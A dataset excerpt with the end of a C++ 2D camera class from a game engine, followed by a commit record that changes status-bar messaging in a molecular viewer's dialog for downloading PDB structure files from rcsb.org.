  case ScaleMode::EXACT_FIT:\n                    {\n                        contentScale.x = 1.0f;\n                        contentScale.y = 1.0f;\n                        break;\n                    }\n                    case ScaleMode::NO_BORDER:\n                    {\n                        contentScale.x = contentScale.y = std::max(contentScale.x, contentScale.y);\n                        break;\n                    }\n                    case ScaleMode::SHOW_ALL:\n                    {\n                        contentScale.x = contentScale.y = std::min(contentScale.x, contentScale.y);\n                        break;\n                    }\n                }\n\n                contentSize = Size2(renderViewport.width \/ contentScale.x, renderViewport.height \/ contentScale.y);\n                contentPosition = Vector2((contentSize.width - targetContentSize.width) \/ 2.0f,\n                                          (contentSize.height - targetContentSize.height) \/ 2.0f);\n            }\n            else\n            {\n                contentSize = Size2(renderViewport.width, renderViewport.height);\n                contentScale = Vector2(1.0f, 1.0f);\n            }\n\n            Matrix4::createOrthographic(contentSize.width, contentSize.height, -1.0f, 1.0f, projection);\n\n            inverseProjection = projection;\n            inverseProjection.invert();\n\n            viewProjectionDirty = true;\n        }\n\n        const Matrix4& Camera::getViewProjection() const\n        {\n            if (viewProjectionDirty || transformDirty)\n            {\n                viewProjection = projection * getTransform();\n                viewProjectionDirty = false;\n            }\n\n            return viewProjection;\n        }\n\n        void Camera::calculateLocalTransform() const\n        {\n            Matrix4 translationMatrix = Matrix4::IDENTITY;\n            translationMatrix.translate(-position.x, -position.y, 0.0f);\n\n            Matrix4 rotationMatrix = Matrix4::IDENTITY;\n            rotationMatrix.rotate(Vector3(0.0f, 0.0f, -1.0f), -rotation);\n\n            Matrix4 scaleMatrix = Matrix4::IDENTITY;\n            Vector3 inverseScale(0.0f, 0.0f, 1.0f);\n            if (scale.x != 0.0f) inverseScale.x = 1.0f \/ scale.x;\n            if (scale.y != 0.0f) inverseScale.y = 1.0f \/ scale.y;\n            scaleMatrix.scale(inverseScale);\n\n            localTransform = scaleMatrix * rotationMatrix * translationMatrix;\n\n            localTransformDirty = false;\n        }\n\n        Vector2 Camera::convertNormalizedToWorld(const Vector2& position)\n        {\n            Matrix4 inverseViewMatrix = getViewProjection();\n            inverseViewMatrix.invert();\n\n            \/\/ convert window normalized to viewport clip position\n            Vector3 result = Vector3(((position.x - viewport.x) \/ viewport.width - 0.5f) * 2.0f,\n                                     ((position.y - viewport.y) \/ viewport.height - 0.5f) * 2.0f,\n                                     0.0f);\n\n            inverseViewMatrix.transformPoint(result);\n\n            return Vector2(result.x, result.y);\n        }\n\n        Vector2 Camera::convertWorldToNormalized(const Vector2& position)\n        {\n            Vector3 result = Vector3(position.x, position.y, 0.0f);\n            getViewProjection().transformPoint(result);\n\n            \/\/ convert viewport clip position to window normalized\n            return Vector2((result.x \/ 2.0f + 0.5f) * viewport.width + viewport.x,\n                           (result.y \/ 2.0f + 0.5f) * viewport.height + viewport.y);\n        }\n\n        bool Camera::checkVisibility(const Matrix4& boxTransform, const AABB2& boundingBox)\n        {\n            \/\/ calculate center point of the bounding box\n            Vector2 diff = boundingBox.max - boundingBox.min;\n\n            \/\/ offset the center point, so that it is relative to 0,0\n            Vector3 v3p(boundingBox.min.x + diff.x \/ 2.0f, boundingBox.min.y + diff.y \/ 2.0f, 0.0f);\n\n            \/\/ apply local transform to the center point\n            boxTransform.transformPoint(v3p);\n\n            \/\/ tranform the center to viewport's clip space\n            Vector4 clipPos;\n            getViewProjection().transformVector(Vector4(v3p.x, v3p.y, v3p.z, 1.0f), clipPos);\n\n            assert(clipPos.w != 0.0f);\n\n            \/\/ normalize position of the center point\n            Vector2 v2p((clipPos.x \/ clipPos.w + 1.0f) * 0.5f,\n                        (clipPos.y \/ clipPos.w + 1.0f) * 0.5f);\n\n            \/\/ calculate half size\n            Size2 halfSize(diff.x \/ 2.0f, diff.y \/ 2.0f);\n\n            \/\/ convert content size to world coordinates\n            Size2 halfWorldSize;\n\n            halfWorldSize.width = std::max(fabsf(halfSize.width * boxTransform.m[0] + halfSize.height * boxTransform.m[4]),\n                                           fabsf(halfSize.width * boxTransform.m[0] - halfSize.height * boxTransform.m[4]));\n            halfWorldSize.height = std::max(fabsf(halfSize.width * boxTransform.m[1] + halfSize.height * boxTransform.m[5]),\n                                            fabsf(halfSize.width * boxTransform.m[1] - halfSize.height * boxTransform.m[5]));\n\n            \/\/ scale half size by camera projection to get the size in clip space coordinates\n            halfWorldSize.width *= (fabsf(viewProjection.m[0]) + fabsf(viewProjection.m[4])) \/ 2.0f;\n            halfWorldSize.height *= (fabsf(viewProjection.m[1]) + fabsf(viewProjection.m[5])) \/ 2.0f;\n\n            \/\/ create visible rect in clip space\n            Rectangle visibleRect(visibleRect.x = -halfWorldSize.width,\n                                  visibleRect.y = -halfWorldSize.height,\n                                  visibleRect.width = 1.0f + halfWorldSize.width * 2.0f,\n                                  visibleRect.height = 1.0f + halfWorldSize.height * 2.0f);\n            \n            return visibleRect.containsPoint(v2p);\n        }\n\n        void Camera::setViewport(const Rectangle& newViewport)\n        {\n            viewport = newViewport;\n            recalculateProjection();\n        }\n\n        void Camera::setScaleMode(ScaleMode newScaleMode)\n        {\n            scaleMode = newScaleMode;\n            recalculateProjection();\n        }\n\n        void Camera::setTargetContentSize(const Size2& newTargetContentSize)\n        {\n            targetContentSize = newTargetContentSize;\n            recalculateProjection();\n        }\n\n        void Camera::addToLayer(Layer* newLayer)\n        {\n            layer = newLayer;\n        }\n\n        void Camera::removeFromLayer()\n        {\n            layer = nullptr;\n        }\n\n        void Camera::setRenderTarget(const graphics::RenderTargetPtr& newRenderTarget)\n        {\n            renderTarget = newRenderTarget;\n\n            recalculateProjection();\n        }\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n#include <BALL\/VIEW\/DIALOGS\/downloadPDBFile.h>\n\n#include <BALL\/FORMAT\/lineBasedFile.h>\n#include <BALL\/FORMAT\/PDBFile.h>\n#include <BALL\/VIEW\/KERNEL\/mainControl.h>\n#include <BALL\/VIEW\/KERNEL\/message.h>\n#include <BALL\/KERNEL\/system.h>\n#include <BALL\/VIEW\/KERNEL\/threads.h>\n\n#include <qcombobox.h> \n#include <qlineedit.h> \n#include <qtextedit.h> \n#include <qfile.h>\n#include <qurl.h>\n#include <qradiobutton.h>\n#include <qcheckbox.h>\n#include <qimage.h>\n#include <qpushbutton.h>\n#include <qgroupbox.h>\n#include <qapplication.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nDownloadPDBFile::DownloadPDBFile( QWidget* parent, const char* name, bool modal, WFlags fl )\n\tthrow()\n\t: DownloadPDBFileData(parent, name, modal, fl),\n\t\tModularWidget(name),\n\t\tthread_(0),\n\t\taborted_(false)\n{\n#ifdef BALL_VIEW_DEBUG\n\tLog.error() << \"new DownloadPDBFile\" << this << std::endl;\n#endif\n\t\/\/ register the widget with the MainControl\n\tregisterWidget(this);\n\thide();\n\tconnect(results, SIGNAL(activated(const QString&)), this, SLOT(slotNewId(const QString&)));\n\n#ifdef BALL_QT_HAS_THREADS\n\tthread_ = new FetchHTMLThread();\n#endif\n}\n\nDownloadPDBFile::~DownloadPDBFile()\n\tthrow()\n{\n#ifdef BALL_VIEW_DEBUG\n\tLog.info() << \"Destructing object \" << this << \" of class DownloadPDBFile\" << std::endl; \n#endif \n\n#ifdef BALL_QT_HAS_THREADS\n\tif (thread_ != 0) \n\t{\n\t\tif (thread_->running())\n\t\t{\n\t\t\tthread_->terminate();\n\t\t\tthread_->wait();\n\t\t}\n\t\tdelete thread_;\n\t}\n#endif\n}\n\nvoid DownloadPDBFile::initializeWidget(MainControl& main_control)\n\tthrow()\n{\n\tString hint(\"Download a PDB file from www.rcsb.org\");\n\tmain_control.insertMenuEntry(MainControl::FILE_OPEN, \"Download Structure\", (QObject *)this,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(show()), ALT+Key_I, -1, hint);\n}\n\nvoid DownloadPDBFile::finalizeWidget(MainControl& main_control)\n\tthrow()\n{\n\tmain_control.removeMenuEntry(MainControl::FILE_OPEN, \"Downlo&ad Structure\", (QObject *)this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(show()), ALT+Key_A);\n}\n\nvoid DownloadPDBFile::slotSearch()\n{\n\tresults->clear();\n\n\tQString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/resultBrowser.cgi?Lucene::keyword=\";\n\tQString search_contents = searchField->text();\n\tQUrl::encode(search_contents);\n\t\n\tfilename+=search_contents;\n\tfilename+=\"&Lucene::keyword_op=\";\n\n\tfilename+=(fullText->isOn()) ? \"fullText\" : \"name\";\n\t\n\tif (exactMatch->isOn())\n\t\tfilename+=\"&exact=1\";\n\telse\n\t\tfilename+=\"&exact=0\";\n\n\tif (removeSimilar->isOn())\n\t\tfilename+=\"&SelectorRedundFilt::on=1\";\n\t\n\n\ttry {\n\t\tLineBasedFile search_result;\n#ifndef BALL_QT_HAS_THREADS\n\t\tsearch_result = LineBasedFile(filename.latin1());\n#else   \/\/ =============================\n\t\tdownloadStarted_();\n\t\tthread_->setURL(filename.latin1());\n\t\tthread_->start();\n\t\twhile (thread_->running())\n\t\t{\n\t\t\tqApp->wakeUpGuiThread();\n\t\t\tqApp->processEvents(500);\n\t\t\tthread_->wait(50);\n\t\t}\n\n\t\tsearch_result = LineBasedFile(thread_->getFilename());\n#endif\n\n\t\tvector<String> result;\n\t\tString tmp;\n\t\twhile (search_result.readLine())\n\t\t{\n\t\t\ttmp = search_result.getLine();\n\t\t\tSize pos = tmp.find(\"name=\\\"PDBID_\");\n\n\t\t\tif (pos != string::npos)\n\t\t\t{\n\t\t\t\tSize end_pos = tmp.find(\"\\\"\", pos+12);\n\t\t\t\tresult.push_back(tmp.substr(pos+12,end_pos-(pos+12)));\n\t\t\t}\n\t\t}\n\n\t\tfor (Size i=0; i<result.size(); i++)\n\t\t{\n\t\t\tresults->insertItem(result[i].c_str());\n\t\t}\n\n\t\tif (result.size() != 0)\n\t\t{\n\t\t\tpdbId->setText(result[0].c_str());\n\t\t}\n\t}\n\tcatch (...) { }\n\n\tdownloadEnded_();\n}\n\nvoid DownloadPDBFile::threadedDownload_(const String& url)\n{\n\t\/\/ prevent compiler warnings\n\turl.isValid();\n\t\n#ifdef BALL_QT_HAS_THREADS\n\tdownloadStarted_();\n\tthread_->setURL(url);\n\tthread_->start();\n\twhile (thread_->running())\n\t{\n\t\tqApp->processEvents(100);\n\t\ttry\n\t\t{\n\t\t\tsetStatusbarText(\"Downloaded: \" + String(File::getSize(thread_->getFilename())));\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t\tthread_->wait(100);\n\t}\n\n#endif\n}\n\nvoid DownloadPDBFile::slotDownload()\n{\n\tSystem *system = new System();\n\n\ttry\n\t{\n\t\tString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/export.cgi\/\";\n\t\tfilename += pdbId->text().latin1();\n\t\tfilename += \".pdb?format=PDB&pdbId=\";\n\t\tfilename += pdbId->text().latin1();\n\t\tfilename +=\"&compression=None\"; \n\t\tPDBFile* pdb_file = 0;\n#ifndef BALL_QT_HAS_THREADS\n\t\tpdb_file = new PDBFile(filename);\n#else   \/\/ =============================\n\t\tdownloadStarted_();\n\t\tthreadedDownload_(filename);\n\t\tdownloadEnded_();\n\n\t\tif (aborted_) \n\t\t{\n\t\t\tdelete system;\n\t\t\treturn;\n\t\t}\n\n\t\tpdb_file = new PDBFile(thread_->getFilename());\n#endif\n\n\t\t(*pdb_file) >> *system;\n\t\t(*pdb_file).close();\n\t\tdelete pdb_file;\n\n#ifdef BALL_QT_HAS_THREADS\n\t\ttry\n\t\t{\n\t\t\tFile::remove(thread_->getFilename());\n\t\t}\n\t\tcatch(...) {}\n#endif\n\n\t\tLog.info() << \"> read \" << system->countAtoms() << \" atoms from URL \\\"\" << filename<< \"\\\"\" << std::endl;\n\t\tif (system->countAtoms() == 0)\n\t\t{\n\t\t\tdelete system;\n\t\t\tsetStatusbarText(\"Could not fetch the given PDBFile\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (system->getName() == \"\")\n\t\t{\n\t\t\tsystem->setName(pdbId->text().latin1());\n\t\t}\n\n\t\tsystem->setProperty(\"FROM_FILE\", filename);\n\t\tclose();\n\t\tgetMainControl()->insert(*system, pdbId->text().latin1());\n\t\tCompositeMessage* message = new CompositeMessage(*system, CompositeMessage::CENTER_CAMERA);\n\t\tnotify_(message);\n\t\tdownload->setDefault(true);\n\t\tpdbId->setText(\"\");\n\t\tpdbId->setFocus();\n\t}\n\tcatch(...)\n\t{\n\t\tLog.info() << \"> download PDB file failed.\" << std::endl;\n\t\tdelete system;\n\t}\n}\n\nvoid DownloadPDBFile::slotShowDetail()\n{\n\tsetStatusbarText(\"Downloading information, please wait...\");\n\tQString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/explore.cgi?job=summary&pdbId=\";\n\tfilename += pdbId->text();\n\tfilename += \"&page=\";\n\n\tdisplayHTML(filename);\n}\n\nvoid DownloadPDBFile::slotNewId(const QString& new_id)\n{\n\tpdbId->setText(new_id);\n}\n\nvoid DownloadPDBFile::displayHTML(const QString& url)\n{\n\ttry\n\t{\n\t\tQString filename;\n\n\t\tif (url.find(\"http:\/\/\") == -1)\n\t\t\tfilename = \"http:\/\/www.rcsb.org\/\"+url;\t\n\t\telse\n\t\t\tfilename = url;\n\n\t\tLog.info() << \"Reading \" << filename << std::endl;\n\n\t\tLineBasedFile search_result;\n#ifndef BALL_QT_HAS_THREADS\n\t\tsearch_result = LineBasedFile(filename.latin1());\n#else\n\t\tthreadedDownload_(filename.ascii());\n\t\tif (aborted_)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tsearch_result = LineBasedFile(thread_->getFilename());\n#endif\n\n\t\tsetStatusbarText(\"Please wait, while loading images...\");\n\n\t\tif (qb_ != 0) delete qb_;\n\t\tqb_ = new QTextBrowser();\n\t\tString result;\n\n\t\tHashMap<String, QImage> hm;\n\t\tString current_line;\n\n\t\twhile (search_result.readLine())\n\t\t{\n\t\t\tcurrent_line = search_result.getLine();\n\t\t\tresult += current_line + \"\\n\";\n\n\t\t\t\/\/ find out all the images\n\t\t\tString tmp = current_line;\n\t\t\ttmp.toUpper();\n\t\t\tSize pos_1 = 0;\n\t\t\tSize pos_2 = 0;\n\n\t\t\twhile ( (pos_1 = tmp.find(\"<IMG\", pos_2)) != string::npos )\n\t\t\t{\n\t\t\t\tpos_1 = tmp.find(\"SRC=\\\"\", pos_1);\n\t\t\t\tpos_2 = current_line.find(\"\\\"\", pos_1+9);\n\n\t\t\t\tString img_url = current_line.substr(pos_1+5, pos_2 - (pos_1+5));\n\t\t\t\tif (!hm.has(img_url))\n\t\t\t\t{\n\t\t\t\t\tFile img(\"http:\/\/www.rcsb.org\/\"+img_url);\n\t\t\t\t\tString tmp_filename;\n\n\t\t\t\t\tFile::createTemporaryFilename(tmp_filename);\n\t\t\t\t\timg.copyTo(tmp_filename);\n\n\t\t\t\t\tQImage qi;\n\t\t\t\t\tqi.load(tmp_filename.c_str());\n\n\t\t\t\t\tFile::remove(tmp_filename);\n\n\t\t\t\t\thm[img_url] = qi;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tHashMap<String, QImage>::Iterator hi;\n\t\tfor (hi = hm.begin(); hi!=hm.end(); hi++)\n\t\t{\n\t\t\tqb_->mimeSourceFactory()->setImage(hi->first.c_str(), hi->second);\n\t\t}\n\n\t\tqb_->setText(QString(result.c_str()));\n\n\t\tconnect(qb_, SIGNAL(linkClicked(const QString&)), this, SLOT(displayHTML(const QString&)));\n\n\t\tLog.info() << \"Finished download of HTML page\" << std::endl;\n\n\t\tqb_->showMaximized();\n\t\tqb_->show();\n\t}\n\tcatch (...)\n\t{ \n\t\tsetStatusbarText(\"Failed to download HTML page.\");\n\t}\n\n#ifdef BALL_QT_HAS_THREADS\n\ttry\n\t{\n\t\tFile::remove(thread_->getFilename());\n\t}\n\tcatch(...){}\n#endif\n} \n\n\nvoid DownloadPDBFile::idChanged()\n{\n\tdownload->setEnabled(pdbId->text() != \"\");\n}\n\nvoid DownloadPDBFile::abort()\n{\n#ifdef BALL_QT_HAS_THREADS\n\tif (thread_ != 0)\n\t{\n\t\tthread_->terminate();\n\t}\n\taborted_ = true;\n\n\ttry\n\t{\n\t\tFile::remove(thread_->getFilename());\n\t}\n\tcatch(...){}\n#endif\n}\n\nvoid DownloadPDBFile::downloadStarted_()\n\tthrow()\n{\n\taborted_ = false;\n\tsetStatusbarText(\"Started download, please wait...\");\n\tbutton_abort->setEnabled(true);\n\tdownload->setEnabled(false);\n\tpdbId->setEnabled(false);\n\tsearch_box->setEnabled(false);\t\t\t\n\tshowDetails->setEnabled(false);\n\tbuttonClose->setEnabled(false);\n}\n\nvoid DownloadPDBFile::downloadEnded_()\n\tthrow()\n{\n\tif (!aborted_)\n\t{\n\t\tsetStatusbarText(\"Finished downloading, please wait...\");\n\t}\n\telse\n\t{\n\t\tsetStatusbarText(\"Aborted download\");\n\t}\n\tbutton_abort->setEnabled(false);\n\tdownload->setEnabled(true);\n\tpdbId->setEnabled(true);\n\tsearch_box->setEnabled(true);\t\t\t\n\tshowDetails->setEnabled(true);\n\tbuttonClose->setEnabled(true);\n\tidChanged();\n}\n\n\t}\n}\n<commit_msg>no message<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n#include <BALL\/VIEW\/DIALOGS\/downloadPDBFile.h>\n\n#include <BALL\/FORMAT\/lineBasedFile.h>\n#include <BALL\/FORMAT\/PDBFile.h>\n#include <BALL\/VIEW\/KERNEL\/mainControl.h>\n#include <BALL\/VIEW\/KERNEL\/message.h>\n#include <BALL\/KERNEL\/system.h>\n#include <BALL\/VIEW\/KERNEL\/threads.h>\n\n#include <qcombobox.h> \n#include <qlineedit.h> \n#include <qtextedit.h> \n#include <qfile.h>\n#include <qurl.h>\n#include <qradiobutton.h>\n#include <qcheckbox.h>\n#include <qimage.h>\n#include <qpushbutton.h>\n#include <qgroupbox.h>\n#include <qapplication.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nDownloadPDBFile::DownloadPDBFile( QWidget* parent, const char* name, bool modal, WFlags fl )\n\tthrow()\n\t: DownloadPDBFileData(parent, name, modal, fl),\n\t\tModularWidget(name),\n\t\tthread_(0),\n\t\taborted_(false)\n{\n#ifdef BALL_VIEW_DEBUG\n\tLog.error() << \"new DownloadPDBFile\" << this << std::endl;\n#endif\n\t\/\/ register the widget with the MainControl\n\tregisterWidget(this);\n\thide();\n\tconnect(results, SIGNAL(activated(const QString&)), this, SLOT(slotNewId(const QString&)));\n\n#ifdef BALL_QT_HAS_THREADS\n\tthread_ = new FetchHTMLThread();\n#endif\n}\n\nDownloadPDBFile::~DownloadPDBFile()\n\tthrow()\n{\n#ifdef BALL_VIEW_DEBUG\n\tLog.info() << \"Destructing object \" << this << \" of class DownloadPDBFile\" << std::endl; \n#endif \n\n#ifdef BALL_QT_HAS_THREADS\n\tif (thread_ != 0) \n\t{\n\t\tif (thread_->running())\n\t\t{\n\t\t\tthread_->terminate();\n\t\t\tthread_->wait();\n\t\t}\n\t\tdelete thread_;\n\t}\n#endif\n}\n\nvoid DownloadPDBFile::initializeWidget(MainControl& main_control)\n\tthrow()\n{\n\tString hint(\"Download a PDB file from www.rcsb.org\");\n\tmain_control.insertMenuEntry(MainControl::FILE_OPEN, \"Download Structure\", (QObject *)this,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(show()), ALT+Key_I, -1, hint);\n}\n\nvoid DownloadPDBFile::finalizeWidget(MainControl& main_control)\n\tthrow()\n{\n\tmain_control.removeMenuEntry(MainControl::FILE_OPEN, \"Downlo&ad Structure\", (QObject *)this, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t SLOT(show()), ALT+Key_A);\n}\n\nvoid DownloadPDBFile::slotSearch()\n{\n\tresults->clear();\n\n\tQString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/resultBrowser.cgi?Lucene::keyword=\";\n\tQString search_contents = searchField->text();\n\tQUrl::encode(search_contents);\n\t\n\tfilename+=search_contents;\n\tfilename+=\"&Lucene::keyword_op=\";\n\n\tfilename+=(fullText->isOn()) ? \"fullText\" : \"name\";\n\t\n\tif (exactMatch->isOn())\n\t\tfilename+=\"&exact=1\";\n\telse\n\t\tfilename+=\"&exact=0\";\n\n\tif (removeSimilar->isOn())\n\t\tfilename+=\"&SelectorRedundFilt::on=1\";\n\t\n\n\ttry {\n\t\tLineBasedFile search_result;\n#ifndef BALL_QT_HAS_THREADS\n\t\tsearch_result = LineBasedFile(filename.latin1());\n#else   \/\/ =============================\n\t\tdownloadStarted_();\n\t\tthread_->setURL(filename.latin1());\n\t\tthread_->start();\n\t\twhile (thread_->running())\n\t\t{\n\t\t\tqApp->wakeUpGuiThread();\n\t\t\tqApp->processEvents(500);\n\t\t\tthread_->wait(50);\n\t\t}\n\n\t\tsearch_result = LineBasedFile(thread_->getFilename());\n#endif\n\n\t\tvector<String> result;\n\t\tString tmp;\n\t\twhile (search_result.readLine())\n\t\t{\n\t\t\ttmp = search_result.getLine();\n\t\t\tSize pos = tmp.find(\"name=\\\"PDBID_\");\n\n\t\t\tif (pos != string::npos)\n\t\t\t{\n\t\t\t\tSize end_pos = tmp.find(\"\\\"\", pos+12);\n\t\t\t\tresult.push_back(tmp.substr(pos+12,end_pos-(pos+12)));\n\t\t\t}\n\t\t}\n\n\t\tfor (Size i=0; i<result.size(); i++)\n\t\t{\n\t\t\tresults->insertItem(result[i].c_str());\n\t\t}\n\n\t\tif (result.size() != 0)\n\t\t{\n\t\t\tpdbId->setText(result[0].c_str());\n\t\t}\n\t}\n\tcatch (...) { }\n\n\tdownloadEnded_();\n}\n\nvoid DownloadPDBFile::threadedDownload_(const String& url)\n{\n\t\/\/ prevent compiler warnings\n\turl.isValid();\n\t\n#ifdef BALL_QT_HAS_THREADS\n\tdownloadStarted_();\n\tthread_->setURL(url);\n\tthread_->start();\n\twhile (thread_->running())\n\t{\n\t\tqApp->processEvents();\n\t\ttry\n\t\t{\n\t\t\tsetStatusbarText(\"Downloaded: \" + String(File::getSize(thread_->getFilename())));\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t\tthread_->wait(100);\n\t}\n\n#endif\n}\n\nvoid DownloadPDBFile::slotDownload()\n{\n\tSystem *system = new System();\n\n\ttry\n\t{\n\t\tString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/export.cgi\/\";\n\t\tfilename += pdbId->text().latin1();\n\t\tfilename += \".pdb?format=PDB&pdbId=\";\n\t\tfilename += pdbId->text().latin1();\n\t\tfilename +=\"&compression=None\"; \n\t\tPDBFile* pdb_file = 0;\n#ifndef BALL_QT_HAS_THREADS\n\t\tpdb_file = new PDBFile(filename);\n#else   \/\/ =============================\n\t\tdownloadStarted_();\n\t\tthreadedDownload_(filename);\n\t\tdownloadEnded_();\n\n\t\tif (aborted_) \n\t\t{\n\t\t\tdelete system;\n\t\t\treturn;\n\t\t}\n\n\t\tpdb_file = new PDBFile(thread_->getFilename());\n#endif\n\n\t\t(*pdb_file) >> *system;\n\t\t(*pdb_file).close();\n\t\tdelete pdb_file;\n\n#ifdef BALL_QT_HAS_THREADS\n\t\ttry\n\t\t{\n\t\t\tFile::remove(thread_->getFilename());\n\t\t}\n\t\tcatch(...) {}\n#endif\n\n\t\tsetStatusbarText(String(\"read \") + String(system->countAtoms()) + \" atoms from URL \\\"\" + filename + \"\\\"\", true);\n\t\tif (system->countAtoms() == 0)\n\t\t{\n\t\t\tdelete system;\n\t\t\tshow();\n\t\t\tsetStatusbarText(\"Could not fetch the given PDBFile\", true);\n\t\t\treturn;\n\t\t}\n\n\t\tif (system->getName() == \"\")\n\t\t{\n\t\t\tsystem->setName(pdbId->text().latin1());\n\t\t}\n\n\t\tsystem->setProperty(\"FROM_FILE\", filename);\n\t\tclose();\n\t\tgetMainControl()->insert(*system, pdbId->text().latin1());\n\t\tCompositeMessage* message = new CompositeMessage(*system, CompositeMessage::CENTER_CAMERA);\n\t\tnotify_(message);\n\t\tdownload->setDefault(true);\n\t\tpdbId->setText(\"\");\n\t\tpdbId->setFocus();\n\t}\n\tcatch(...)\n\t{\n\t\tsetStatusbarText(\"download PDB file failed\", true);\n\t\tdelete system;\n\t}\n}\n\nvoid DownloadPDBFile::slotShowDetail()\n{\n\tsetStatusbarText(\"Downloading information, please wait...\");\n\tQString filename = \"http:\/\/www.rcsb.org\/pdb\/cgi\/explore.cgi?job=summary&pdbId=\";\n\tfilename += pdbId->text();\n\tfilename += \"&page=\";\n\n\tdisplayHTML(filename);\n}\n\nvoid DownloadPDBFile::slotNewId(const QString& new_id)\n{\n\tpdbId->setText(new_id);\n}\n\nvoid DownloadPDBFile::displayHTML(const QString& url)\n{\n\ttry\n\t{\n\t\tQString filename;\n\n\t\tif (url.find(\"http:\/\/\") == -1)\n\t\t\tfilename = \"http:\/\/www.rcsb.org\/\"+url;\t\n\t\telse\n\t\t\tfilename = url;\n\n\t\tLog.info() << \"Reading \" << filename << std::endl;\n\n\t\tLineBasedFile search_result;\n#ifndef BALL_QT_HAS_THREADS\n\t\tsearch_result = LineBasedFile(filename.latin1());\n#else\n\t\tthreadedDownload_(filename.ascii());\n\t\tif (aborted_)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tsearch_result = LineBasedFile(thread_->getFilename());\n#endif\n\n\t\tsetStatusbarText(\"Please wait, while loading images...\");\n\n\t\tif (qb_ != 0) delete qb_;\n\t\tqb_ = new QTextBrowser();\n\t\tString result;\n\n\t\tHashMap<String, QImage> hm;\n\t\tString current_line;\n\n\t\twhile (search_result.readLine())\n\t\t{\n\t\t\tcurrent_line = search_result.getLine();\n\t\t\tresult += current_line + \"\\n\";\n\n\t\t\t\/\/ find out all the images\n\t\t\tString tmp = current_line;\n\t\t\ttmp.toUpper();\n\t\t\tSize pos_1 = 0;\n\t\t\tSize pos_2 = 0;\n\n\t\t\twhile ( (pos_1 = tmp.find(\"<IMG\", pos_2)) != string::npos )\n\t\t\t{\n\t\t\t\tpos_1 = tmp.find(\"SRC=\\\"\", pos_1);\n\t\t\t\tpos_2 = current_line.find(\"\\\"\", pos_1+9);\n\n\t\t\t\tString img_url = current_line.substr(pos_1+5, pos_2 - (pos_1+5));\n\t\t\t\tif (!hm.has(img_url))\n\t\t\t\t{\n\t\t\t\t\tFile img(\"http:\/\/www.rcsb.org\/\"+img_url);\n\t\t\t\t\tString tmp_filename;\n\n\t\t\t\t\tFile::createTemporaryFilename(tmp_filename);\n\t\t\t\t\timg.copyTo(tmp_filename);\n\n\t\t\t\t\tQImage qi;\n\t\t\t\t\tqi.load(tmp_filename.c_str());\n\n\t\t\t\t\tFile::remove(tmp_filename);\n\n\t\t\t\t\thm[img_url] = qi;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tHashMap<String, QImage>::Iterator hi;\n\t\tfor (hi = hm.begin(); hi!=hm.end(); hi++)\n\t\t{\n\t\t\tqb_->mimeSourceFactory()->setImage(hi->first.c_str(), hi->second);\n\t\t}\n\n\t\tqb_->setText(QString(result.c_str()));\n\n\t\tconnect(qb_, SIGNAL(linkClicked(const QString&)), this, SLOT(displayHTML(const QString&)));\n\n\t\tLog.info() << \"Finished download of HTML page\" << std::endl;\n\n\t\tqb_->showMaximized();\n\t\tqb_->show();\n\t}\n\tcatch (...)\n\t{ \n\t\tsetStatusbarText(\"Failed to download HTML page.\");\n\t}\n\n#ifdef BALL_QT_HAS_THREADS\n\ttry\n\t{\n\t\tFile::remove(thread_->getFilename());\n\t}\n\tcatch(...){}\n#endif\n} \n\n\nvoid DownloadPDBFile::idChanged()\n{\n\tdownload->setEnabled(pdbId->text() != \"\");\n}\n\nvoid DownloadPDBFile::abort()\n{\n#ifdef BALL_QT_HAS_THREADS\n\tif (thread_ != 0)\n\t{\n\t\tthread_->terminate();\n\t}\n\taborted_ = true;\n\n\ttry\n\t{\n\t\tFile::remove(thread_->getFilename());\n\t}\n\tcatch(...){}\n#endif\n}\n\nvoid DownloadPDBFile::downloadStarted_()\n\tthrow()\n{\n\thide();\n\taborted_ = false;\n\tsetStatusbarText(\"Started download, please wait...\");\n\tbutton_abort->setEnabled(true);\n\tdownload->setEnabled(false);\n\tpdbId->setEnabled(false);\n\tsearch_box->setEnabled(false);\t\t\t\n\tshowDetails->setEnabled(false);\n\tbuttonClose->setEnabled(false);\n}\n\nvoid DownloadPDBFile::downloadEnded_()\n\tthrow()\n{\n\tif (!aborted_)\n\t{\n\t\tsetStatusbarText(\"Finished downloading, please wait...\");\n\t}\n\telse\n\t{\n\t\tsetStatusbarText(\"Aborted download\");\n\t}\n\tbutton_abort->setEnabled(false);\n\tdownload->setEnabled(true);\n\tpdbId->setEnabled(true);\n\tsearch_box->setEnabled(true);\t\t\t\n\tshowDetails->setEnabled(true);\n\tbuttonClose->setEnabled(true);\n\tidChanged();\n}\n\n\t}\n}\n<|endoftext|>"}
